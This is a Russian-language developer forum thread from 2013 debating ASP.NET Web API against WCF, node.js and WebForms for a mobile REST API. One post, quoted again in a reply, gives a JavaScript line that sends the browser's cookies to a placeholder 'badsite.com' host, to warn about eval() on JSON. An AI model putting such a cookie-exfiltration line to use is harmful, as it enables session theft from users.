webApi кто заюзал в реальных проектах? / ASP.NET

ReSQL.ru

Мобильная версия Контакт Правила FAQ Помощь

Гость

Войти | Регистрация | Профиль | Очистить

Новые сообщения | Избранное

Форумы | Пользователи | Статистика | Мод. лог | Поиск

Цитировать

Написать

Автор*:

Ввести пароль для входа

Тема*:

Сообщение

Данное сообщение тематическое

Сообщение содержит картинки или видео 18+

Автор:

ВНИМАНИЕ! На данном подфоруме действуют строгие правила. Удостоверьтесь, что ваше сообщение соответствует им!

Форум или тема закрыты для гостей. Необходима авторизация!

Загрузить последнюю сохраненную версию

Вложение:

Вставить как галерею

Максимальный размер вложений: 4,0 МБ, аудио/видео: 8,0 МБ. Картинки большего размера ужимаются, если возможно.

Введите код, изображенный на картинке. Если код нечитаемый, кликните картинку, чтобы загрузить другой вариант.

Отправляя сообщение, я выражаю свое согласие с правилами форума и принимаю пользовательское соглашение.

Доб. в избранное | Игнор. тему | Прикреп. тему | Пометить прочит. / непрочит. | Фильтр

Форумы / ASP.NET [игнор отключен] [закрыт для гостей] / webApi кто заюзал в реальных проектах?

121 сообщений из 121, показаны все 5 страниц

все

webApi кто заюзал в реальных проектах?

#38279269

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

всем доброго дня!
есть такие, кто использовал webApi в реальных проектах? как показал себя? интересует производительность, естесственно.
есть необходимось в rest api. но если честно, склонялся к node.js. минус - время на освоение, а тут все вроде свое, родное. поэтому хотелось бы узнать о реальном использовании...

...

Рейтинг:

0 / 0

29.05.2013, 20:45

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279278

cooldeveloper

Участник

Откуда: МСУ

Сообщения: 483

Рейтинг: 0 / 0

Собираемся делать ставку на web api odata. По поводу производительности, что мешает создать нагрузочный тест и посмотреть?
По поводу node.js не понял, причем тут rest...

...

Рейтинг:

0 / 0

29.05.2013, 20:55

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279310

ShSerge

Участник

Откуда: ʚонɔ dиw

Сообщения: 24 440

Рейтинг: 0 / 0

cooldeveloper,

Опять забанели?

...

Рейтинг:

0 / 0

29.05.2013, 21:29

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279319

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

cooldeveloper,

да никто не мешает конечно. делать тесты будем обязательно, позже. как определим круг интересов.
в принципе не самая большая нагрузка планируется, не больше 2К запросов в минуту. но надо чтоб работало как часы швейцарские...

...

Рейтинг:

0 / 0

29.05.2013, 21:38

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279379

cooldeveloper

Участник

Откуда: МСУ

Сообщения: 483

Рейтинг: 0 / 0

ShSergecooldeveloper, Опять забанели?
На адо.нете. Хм, я думал ты нажал кнопку. Значит айси...

...

Рейтинг:

0 / 0

29.05.2013, 23:14

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279462

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

a_titeev,

хорошо показал себя.
производительность удовлетворительная.
вообще, смотря чего вы хотите.
и как это будете делать за слоем WinAPI.

а node.js сравнивать с winapi это как-то... вообще странно если честно. можно еще добавить в рассмотрение апач, ассемблер, и резиновый надувной бассейн — интересно, что же все таки лучше?

...

Рейтинг:

0 / 0

30.05.2013, 02:50

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279464

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

кстати, наиболее полно потенциал WinAPI раскрывают такие вещи, как kendoui, например. бомба аще...

...

Рейтинг:

0 / 0

30.05.2013, 03:04

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279510

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

hVostt,

да я не сам вебапи с ним то сравниваю, а платформу для реализации выбираю ). те тесты, которые есть в публичном доступе по ноде устаревают быстрее, чем он развивается, а по аспнет вебапи вообще ничего нет.

майкрософт реализовала свой mobile azure service на ноде почему-то... это и наводит на мысли, что не все так гладко.

...

Рейтинг:

0 / 0

30.05.2013, 08:14

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279580

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

a_titeevмайкрософт реализовала свой mobile azure service на ноде почему-то ...Крутой аргумент в пользу выбора node.js, ничего не скажешь.

Мы как раз реализовали API к нашей системе на базе WebAPI. Выйдет в следующем релизе. Отвественный за реализацию хорошо знаком с WebAPI и не жалуется.

...

Рейтинг:

0 / 0

30.05.2013, 09:19

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279583

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

hVosttкстати, наиболее полно потенциал WinAPI раскрывают такие вещи, как kendoui, например. бомба аще...Да ладно? И проблем с валидацией нету?

...

Рейтинг:

0 / 0

30.05.2013, 09:20

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279601

handmadeFromRu

Участник

Откуда: родина Ленина!

Сообщения: 2 077

Рейтинг: 0 / 0

кстати вопрос вы вроде хотите rest api и выбирает только среди 2 платформ? хотя rest можно сделать в принципе на чем угодно. RoR вообще в своей концепции это держит изначально. В .net можно rest сделать на wcf, mvc и новой плюшке web api.
по производительности:
мы баловались как то парой тестов чисто академический интерес был и ничего удивительного не было что .net быстрее раздавал данные, если найду тесты выложу, хотя тут сомнения что они вообще остались. И по памяти .net меньше кушал чем node.js. Все тесты субъективны конечно и дело было год назад.

...

Рейтинг:

0 / 0

30.05.2013, 09:32

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279612

cooldeveloper

Участник

Откуда: МСУ

Сообщения: 483

Рейтинг: 0 / 0

handmadeFromRuВ .net можно rest сделать на wcf, mvc и новой плюшке web api
+1

P.S. WCF - серьезный стабильный конкурент, который существует уже много лет.

...

Рейтинг:

0 / 0

30.05.2013, 09:40

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38279691

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

skyANAhVosttкстати, наиболее полно потенциал WinAPI раскрывают такие вещи, как kendoui, например. бомба аще...Да ладно? И проблем с валидацией нету?

принято :)

...

Рейтинг:

0 / 0

30.05.2013, 10:17

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38280252

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

и все же, пока выбираю между двумя.
RoR отмели, как-то не хочется )
по wcf - абсолютно согласен. хоть и одного поля ягоды с webApi ). есть над чем поразмыслить - стоит ли браться за новое. ведь и вправду обкатано уже. хоть и не в этом проекте.
если будут варианты, выложите тесты...

...

Рейтинг:

0 / 0

30.05.2013, 14:41

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38280728

evgen12345

Гость

а я вообще не понимаю зачем разделили wcf от webApi и запихали в asp.net mvc ?

при этом wcf http биндинги позволяют реализовать этот самый webapi

...

Рейтинг:

0 / 0

30.05.2013, 18:58

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38280783

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

evgen12345, почитайте в интернете. Гугл, запрос: "ASP.NET WebAPI vs WCF".

...

Рейтинг:

0 / 0

30.05.2013, 19:59

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38280911

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

WebAPI однозначно зе бест! стильно, модно, молодежно

WCF конечно будут еще поддерживать, чтобы старечье не ныло, с которых уже сыпется

...

Рейтинг:

0 / 0

30.05.2013, 23:24

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38280942

Sergey Ch

Участник

Откуда: Благовещенск

Сообщения: 6 775

Рейтинг: 0 / 0

hVosttWebAPI однозначно зе бест! стильно, модно, молодежно...
"Я плакалъ" :)

В прошлом месяце по ошибке сделал три реализации e-commerce web site:

- WebAPI
- MVC 4.0
- Web Forms

Самым быстрым и надежным оказался проект на Web Forms (клиент заплатил именно за него)...

Так что модное - не значит самое лучше

...

Рейтинг:

0 / 0

31.05.2013, 00:08

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38280967

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

Sergey Ch,

ну дело в реализации конечно, тем более для заказчика. маловероятно что он заценит конкретную технологию, если кривая реализация будет. здесь не очень понятно что конкретно было использовано. если в некоторой части заюзано wcf, то это не значит что сделал на том то.. для е-коммерц важно юи. а оно к этому вопросу отношения не имеет.

...

Рейтинг:

0 / 0

31.05.2013, 00:47

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38280977

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

Sergey Ch,

вебформс та еще бабяка...

забавно в данном случае то, как можно было сделать «по ошибке» одно и тоже 3 раза на 3-х технологиях

...

Рейтинг:

0 / 0

31.05.2013, 01:05

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281089

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttWCF конечно будут еще поддерживать, чтобы старечье не ныло, с которых уже сыпется
Присаживайся, двойка. Сравнивать Web API с WCF - это как сравнивать молоко с танком. Можно сравнивать Web API с WCF REST, но никак не с WCF. WCF - это полноценный SOA механизм с кучами байдингов, WS Dual Http, Duplex Mode и прочими фишками, которые даже не светят для Web API. Если рассматривать в плане REST / RESTful (+ OData) обмена, то Web API повкуснее. В остальном Web API курит в сторонке.

...

Рейтинг:

0 / 0

31.05.2013, 09:13

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281155

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

Sergey ChhVosttWebAPI однозначно зе бест! стильно, модно, молодежно...
"Я плакалъ" :)

В прошлом месяце по ошибке сделал три реализации e-commerce web site:

- WebAPI
- MVC 4.0
- Web Forms

Самым быстрым и надежным оказался проект на Web Forms (клиент заплатил именно за него)...

Так что модное - не значит самое лучше Самым быстрым по скорости реализации Вами?

...

Рейтинг:

0 / 0

31.05.2013, 10:12

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281160

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

Sergey Ch, и обратите внимание на то, что ТС собирается REST API реализовывать. А Вы тут байки про e-commerce травите. :)

...

Рейтинг:

0 / 0

31.05.2013, 10:16

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281163

evgen12345

Гость

skyANAevgen12345, почитайте в интернете. Гугл, запрос: "ASP.NET WebAPI vs WCF".

я немного о дгуром - идеологически WebAPI должен быть частью WCF (в моем понимании), а не отдельно. Вот.

И как писал МСУ есть WCF Rest - почему вынесли еще отдельно WebAPI, а не объединили их вот в чем мой вопрос, возможно есть причины (я их не знаю и не понимаю) - вот я и спрашиваю.

Спасибо.

...

Рейтинг:

0 / 0

31.05.2013, 10:17

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281166

Sergey Ch

Участник

Откуда: Благовещенск

Сообщения: 6 775

Рейтинг: 0 / 0

skyANAСамым быстрым по скорости реализации Вами?
Все было сделано и предоставлено клиенту как раз в той последовательности, в которой я указал выше. Возможности каждого приложения одинаковы. Самым быстрым по времени разработки был MVC 4.0... Самым скоростным и хорошо работающим под нагрузкой на оборудовании клиента - WebForms...

...

Рейтинг:

0 / 0

31.05.2013, 10:20

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281189

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

evgen12345, первая ссылка в гугле: WCF or ASP.NET Web APIs? My two cents on the subject . Третья ссылка в гугле: WCF and ASP.NET Web API .

Почитайте, подумайте.

...

Рейтинг:

0 / 0

31.05.2013, 10:37

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281191

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

...

Рейтинг:

0 / 0

31.05.2013, 10:39

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281254

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

evgen12345И как писал МСУ есть WCF Rest - почему вынесли еще отдельно WebAPI, а не объединили их вот в чем мой вопрос, возможно есть причины (я их не знаю и не понимаю) - вот я и спрашиваю.
Раньшее было WCF Web API . Потом лавочку прикрыли:
http://wcf.codeplex.com Announcement: WCF Web API is now ASP.NET Web API! ASP.NET Web API released with ASP.NET MVC 4 Beta. The WCF Web API and WCF Support for jQuery content on this site will be removed by the end of 2012.
Ну а WCF REST о как был, так и остался. По сути это WCF с http байдингами и WebInvoke атрибутами. Вот тут рецептик есть.
Не нужно паники, WCF REST это не технология. WCF REST это просто WCF + HTTP + WebInvoke :)

...

Рейтинг:

0 / 0

31.05.2013, 11:18

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281259

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

Гораздо интереснее поговорить о WCF Data Services vs Web API OData. Вот тут реально конкуренция!

...

Рейтинг:

0 / 0

31.05.2013, 11:20

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281263

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

МСУГораздо интереснее поговорить о WCF Data Services vs Web API OData. Вот тут реально конкуренция!
Web API OData пока сыроват, но идет ровными темпами вверх. WCF Data Services стабильный и отлаженный продукт.

...

Рейтинг:

0 / 0

31.05.2013, 11:21

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281310

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

МСУМСУГораздо интереснее поговорить о WCF Data Services vs Web API OData. Вот тут реально конкуренция!
Web API OData пока сыроват, но идет ровными темпами вверх. WCF Data Services стабильный и отлаженный продукт.

Какие основания для подобный заявлений? В каком проекте ты использовал WCF Data Services?
Ответ простой - ни в каком?
Где ты использовал dual binding wcf? Нигде.
Что ты знаешь про web api? Ничего.
И тд.

...

Рейтинг:

0 / 0

31.05.2013, 11:45

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281313

evgen12345

Гость

SeVa, МСУ,

срачь детектед!

...

Рейтинг:

0 / 0

31.05.2013, 11:47

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281317

evgen12345

Гость

[quot skyANA]evgen12345, первая ссылка в гугле: WCF or ASP.NET Web APIs? My two cents on the subject . Третья ссылка в гугле: WCF and ASP.NET Web API .

Почитайте, подумайте.[/quot

Да их почитаю на досуге, спасибо.

...

Рейтинг:

0 / 0

31.05.2013, 11:48

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281330

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

SeVa, убей себя об стену.

...

Рейтинг:

0 / 0

31.05.2013, 11:55

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281333

evgen12345

Гость

skyANAevgen12345, первая ссылка в гугле: WCF or ASP.NET Web APIs? My two cents on the subject . Третья ссылка в гугле: WCF and ASP.NET Web API .

Почитайте, подумайте.

microsoft дал ответ на мои вопросы -
Use WCF to create reliable, secure web services that accessible over a variety of transports. Use ASP.NET Web API to create HTTP-based services that are accessible from a wide variety of clients. Use ASP.NET Web API if you are creating and designing new REST-style services. Although WCF provides some support for writing REST-style services, the support for REST in ASP.NET Web API is more complete and all future REST feature improvements will be made in ASP.NET Web API. If you have an existing WCF service and you want to expose additional REST endpoints, use WCF and the WebHttpBinding.

Спасибо skyANA

...

Рейтинг:

0 / 0

31.05.2013, 11:56

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281343

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

[quot evgen12345] If you have an existing WCF service...[/i]

Сейчас закладываться на стек ms и начинать на нем новые, догоиграющие проекты(в особенности на webforms и wcf) можно, если только живешь в лесу или обладаешь нездоровым оптимизмом.

...

Рейтинг:

0 / 0

31.05.2013, 12:02

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281359

a_titeev

Участник

Откуда: Невинномысск, Ставропольский край

Сообщения: 577

Рейтинг: 0 / 0

skyANASergey Ch, и обратите внимание на то, что ТС собирается REST API реализовывать. А Вы тут байки про e-commerce травите. :)
поясню больше - это rest api для мобильных клиентов. в принципе прототип на webapi уже закончил. под андроид клиента сделал. работает. заказчик получил первые результаты и появилось время на исследования ).
попробую теперь и ноду, и wcf. проведу тесты. будет видно что выгоднее.

...

Рейтинг:

0 / 0

31.05.2013, 12:08

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281410

ShSerge

Участник

Откуда: ʚонɔ dиw

Сообщения: 24 440

Рейтинг: 0 / 0

evgen12345SeVa, МСУ,

срачь детектед!
Покамест не очень детектед. В пятницу - некоторое послабление.

...

Рейтинг:

0 / 0

31.05.2013, 12:31

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281579

evgen12345

Гость

ShSergeevgen12345SeVa, МСУ,

срачь детектед!
Покамест не очень детектед. В пятницу - некоторое послабление.

Когда эта парочка лбами встречается обычно начинается такое, ну а пока все боль мень норм :-)

...

Рейтинг:

0 / 0

31.05.2013, 14:11

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281599

evgen12345

Гость

[quot SeVa]evgen12345 If you have an existing WCF service...[/i]

Сейчас закладываться на стек ms и начинать на нем новые, догоиграющие проекты(в особенности на webforms и wcf) можно, если только живешь в лесу или обладаешь нездоровым оптимизмом.

ну так просветите нас о других технолгиях?

...

Рейтинг:

0 / 0

31.05.2013, 14:26

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281609

handmadeFromRu

Участник

Откуда: родина Ленина!

Сообщения: 2 077

Рейтинг: 0 / 0

о неет снова мс дохнет и всех кинет!!!) эту байку слышал много раз как прям про конец света !

...

Рейтинг:

0 / 0

31.05.2013, 14:35

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281627

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

Sergey ChskyANAСамым быстрым по скорости реализации Вами?
Все было сделано и предоставлено клиенту как раз в той последовательности, в которой я указал выше. Возможности каждого приложения одинаковы. Самым быстрым по времени разработки был MVC 4.0... Самым скоростным и хорошо работающим под нагрузкой на оборудовании клиента - WebForms...

The Stats

16 million page views a month
3 million unique visitors a month (Facebook reaches 77 million unique visitors a month)
6 million visits a month

Platform

Microsoft ASP.NET MVC
SQL Server 2008
C#
Visual Studio 2008 Team Suite
JQuery
LINQ to SQL

Web Tier
- 2 x Lenovo ThinkServer RS110 1U
- 4 cores, 2.83 Ghz, 12 MB L2 cache
- 500 GB datacenter hard drives, mirrored
- 8 GB RAM
- 500 GB RAID 1 mirror array
Database Tier
- 1 x Lenovo ThinkServer RD120 2U
- 8 cores, 2.5 Ghz, 24 MB L2 cache
- 48 GB RAM

WebForms в таких условиях даже встанет с колен, а на MVC все это летало еще в далеком 2009-ом... условия изменились:

The Stats

95 Million Page Views a Month
800 HTTP requests a second
180 DNS requests a second
55 Megabits per second
16 Million Users

(на 2011 год) и все тот же ASP.NET MVC...

Так что байки про нагрузку и ВебФормс травить не нужно

П.С. кстати, догадываетесь, откуда статистика?

...

Рейтинг:

0 / 0

31.05.2013, 14:48

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281638

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

hVostt, статистика ресурса, где у людей проблема с валидацией в WebAPI

...

Рейтинг:

0 / 0

31.05.2013, 14:53

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281653

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУhVosttWCF конечно будут еще поддерживать, чтобы старечье не ныло, с которых уже сыпется
Присаживайся, двойка. Сравнивать Web API с WCF - это как сравнивать молоко с танком. Можно сравнивать Web API с WCF REST, но никак не с WCF. WCF - это полноценный SOA механизм с кучами байдингов, WS Dual Http, Duplex Mode и прочими фишками, которые даже не светят для Web API. Если рассматривать в плане REST / RESTful (+ OData) обмена, то Web API повкуснее. В остальном Web API курит в сторонке.

Do It Simple Stupid — слышал о таком принципе? Так вот, то что не светит для WebAPI — ему это и задаром не нужно. WCF неплохо справляется с возложенными на него задачами. Но сам по себе он — избыточная перегруженная зависимостями и интерфейсами какашка.

Для примера: несмотря на возможности XML (XSD, Shema...), простой легковесный JSON порвал тяжеловесный формат XML в клочья — и теперь JSON самый популярный веб-транспорт данных в HTTP... да чего уж там, проник в базы данных и в другие слои.

WebAPI бы никогда не появился, если разработчики в Microsoft этого бы не понимали.

...

Рейтинг:

0 / 0

31.05.2013, 15:01

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281658

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

skyANA,

не, вебапи пока еще там нет... вроде бы.

...

Рейтинг:

0 / 0

31.05.2013, 15:05

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281667

skyANA

Участник

Откуда: Зеленоград

Сообщения: 22 795

Рейтинг: 0 / 0

hVosttskyANA,

не, вебапи пока еще там нет... вроде бы.Я про это: 14265012
hVosttв реале у WebAPI проблем выше крыше, загляни как-нибудь на SO, там ад .

...

Рейтинг:

0 / 0

31.05.2013, 15:09

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281672

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

skyANA,

догадались но сейчас шла об архитектуре, а не об коммьюнити...

ну и кромя того

http://stackoverflow.com/questions/11686690/handle-modelstate-validation-in-asp-net-web-api
http://weblogs.asp.net/cibrax/archive/2012/02/23/validating-your-models-in-asp-net-web-api.aspx
http://www.asp.net/web-api/videos/getting-started/custom-validation

...

Рейтинг:

0 / 0

31.05.2013, 15:13

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281685

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

hVosttDo It Simple Stupid — слышал о таком принципе? Так вот, то что не светит для WebAPI — ему это и задаром не нужно. WCF неплохо справляется с возложенными на него задачами. Но сам по себе он — избыточная перегруженная зависимостями и интерфейсами какашка.
Слышал о принципе "Слышая звон - не знаю где он"? Перегруженная зависимостями и интерфейсами какашка - это твой мозг, который не может понять и переварить функционал WCF. У WebAPI другое предназначения и все твои "задаром" остаются за занавесом.

hVosttДля примера: несмотря на возможности XML (XSD, Shema...), простой легковесный JSON порвал тяжеловесный формат XML в клочья — и теперь JSON самый популярный веб-транспорт данных в HTTP... да чего уж там, проник в базы данных и в другие слои.
Очередная безосновательная байка про xml vs json. Оба формата нужны. Более того, xml более безопасный, чем json.

hVosttWebAPI бы никогда не появился, если разработчики в Microsoft этого бы не понимали.
Web API - это бывший WCF Web API. Просто его решили вынести в отдельный проект. Легковестность и RESTful - вот его основная задача. Использовать его для корпоративного SOA неудобно, одно отсутствие кодогенерации прокси сервисом и классов - жирный гвоздь в Web API.

...

Рейтинг:

0 / 0

31.05.2013, 15:22

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281713

SeVa

Участник

Откуда: Москва

Сообщения: 4 069

Рейтинг: 0 / 0

МСУhVosttDo It Simple Stupid — слышал о таком принципе? Так вот, то что не светит для WebAPI — ему это и задаром не нужно. WCF неплохо справляется с возложенными на него задачами. Но сам по себе он — избыточная перегруженная зависимостями и интерфейсами какашка.
Слышал о принципе "Слышая звон - не знаю где он"? Перегруженная зависимостями и интерфейсами какашка - это твой мозг, который не может понять и переварить функционал WCF. У WebAPI другое предназначения и все твои "задаром" остаются за занавесом.

hVosttДля примера: несмотря на возможности XML (XSD, Shema...), простой легковесный JSON порвал тяжеловесный формат XML в клочья — и теперь JSON самый популярный веб-транспорт данных в HTTP... да чего уж там, проник в базы данных и в другие слои.
Очередная безосновательная байка про xml vs json. Оба формата нужны. Более того, xml более безопасный, чем json.

hVosttWebAPI бы никогда не появился, если разработчики в Microsoft этого бы не понимали.
Web API - это бывший WCF Web API. Просто его решили вынести в отдельный проект. Легковестность и RESTful - вот его основная задача. Использовать его для корпоративного SOA неудобно, одно отсутствие кодогенерации прокси сервисом и классов - жирный гвоздь в Web API.

И чем же это xml более безопасен, а json так опасен? Очередной бред?!
Кодеманки, если им студия ничего не сгенерит, то они ничего сделать не смогут. Муслима, а ты в курсе, что для своих проектов генерацией прокси никто не занимается? Уверен, что нет(см предыдущее утверждение). Мало того, wsdl прикрывают в целях безопасности

...

Рейтинг:

0 / 0

31.05.2013, 15:42

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281732

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

SeVaИ чем же это xml более безопасен, а json так опасен? Очередной бред?!

Очередная тема, в который ты ничерта не соображаешь.

...Dave JohnsonJSON может стать причиной проблем безопасности. Суть заметки сводится к тому, что если вы допускаете вставку вызовов функций наряду с данными в JSON-ответах и используете eval() для обработки ответа, то тем самым вы исполняете произвольный код, фактически, который уже может содержать угрозу безопасности.

Код: javascript

1.
2.
3.
4.
5.

 window.location = <font color="#069">"http://badsite.com?"</font> + document.cookie;
  person : { 
    <font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,
    <font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>
  }

Если ответ в примере выше будет выполнен, это вызовет отправку браузером пользовательских cookies на сторонний сайт.

...

Рейтинг:

0 / 0

31.05.2013, 15:55

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281776

Яростный Меч

Участник

Откуда: здесь была правда.<br /><br />Слоган: Делфи жив!!!

Сообщения: 30 377

Рейтинг: 0 / 0

Dave JohnsonJSON может стать причиной проблем безопасности. Суть заметки сводится к тому, что если вы допускаете вставку вызовов функций наряду с данными в JSON-ответах и используете eval() для обработки ответа, то тем самым вы исполняете произвольный код, фактически, который уже может содержать угрозу безопасности.

Код: javascript

1.
2.
3.
4.
5.

 window.location = <font color="#069">"http://badsite.com?"</font> + document.cookie;
  person : { 
    <font color="#069">"firstName"</font> : <font color="#069">"Subbu"</font>,
    <font color="#069">"lastName"</font> : <font color="#069">"Allamaraju"</font>
  }

Если ответ в примере выше будет выполнен, это вызовет отправку браузером пользовательских cookies на сторонний сайт.почти во всех браузерах есть JSON.parse, в нем парсится только чистый json, в котором нет ни функций, ни даже регексов

а вообще, сама проблема несколько надуманная, мы же eval-им данные со своего сайта.

...

Рейтинг:

0 / 0

31.05.2013, 16:29

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281785

МСУ

Участник

Откуда: http://codearticles.ru

Сообщения: 33 530

Рейтинг: 0 / 0

Яростный Меча вообще, сама проблема несколько надуманная, мы же eval-им данные со своего сайта.
Ну я тоже так думал по поводу надуманности, пока не появились $.support.cors, screen scraping на YQL, flash прокси и JSONP.

...

Рейтинг:

0 / 0

31.05.2013, 16:35

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281806

James Bond FR

Участник

Сообщения: 70

Рейтинг: 0 / 0

SeVaКодеманки, если им студия ничего не сгенерит, то они ничего сделать не смогут. Муслима, а ты в курсе, что для своих проектов генерацией прокси никто не занимается? Уверен, что нет(см предыдущее утверждение). Мало того, wsdl прикрывают в целях безопасности
Последний раз писал в рукопашную прокси-классы лет так 5 назад, когда нужно было подцепиться к сервисам реализованным на Java :) Можно поинтересоваться в чем сокральное зло генерации прокси?
А wsdl прикрывают только в целях защиты от дурачка, что бы отбиться от хакеров-малолеток, но ни в коей мере закрытие wsdl не может быть основным средством защиты приложения.

...

Рейтинг:

0 / 0

31.05.2013, 16:52

| Ответить | Цитировать | Написать

webApi кто заюзал в реальных проектах?

#38281808

hVostt

Участник

Сообщения: 18 899

Рейтинг: 0 / 0

МСУWeb API - это бывший WCF Web API. Просто его решили вынести в отдельный проект. Легковестность и RESTful - вот его основная задача. Использовать его для корпоративного SOA неудобно, одно отсутствие кодогенерации прокси сервисом и классов - жирный гвоздь в Web API.

вот вот. а знаешь зачем нужна эта кодогенерация? потому что оверхед такой, что мама дорогая. вручную писать — самоубийство.
посему — какашка она и есть. по большей части оправдывание бессмысленной «безопасности», некоторые недалекие кодеры думают, что чем больше кода, интерфейсов и слоёв, тем конструкция безопасней. расскажи эти байки своему шефу, побольше лапши и неудобоваримых, но крутых терминов на его наивные уши.

пасс на тему «безопасности» XML: как-то прикручивали синхронизацию по CommerceML 2.05 так вот, отдаваемый XML самой последней версии 1С не проходит валидацию своей же схемы . И знаете что саппарт отвечает? Отключите проверку , парсите так... так что в топку. Лишнее ненужное усложнение. Валидность по XSD совершенно не отменяет необходимость проверять полученные данные, в итоге — двойная никому не нужная работа. Какой-то опофеоз обсурда, в котором отдельное старичьё варится и ловит свой извращенный кайф. А слово «корпоративное» вообще убивает напрочь. SOA, WSDL нужны для поддержки старперского говнища. Например приходилось к этому возвращаться, для интеграции с SAP R/3 — прямым наследнием фюрера.

В гетерогенных системах нужны простые, легкие, легковесные стандарты. Каким и является WebAPI.

...
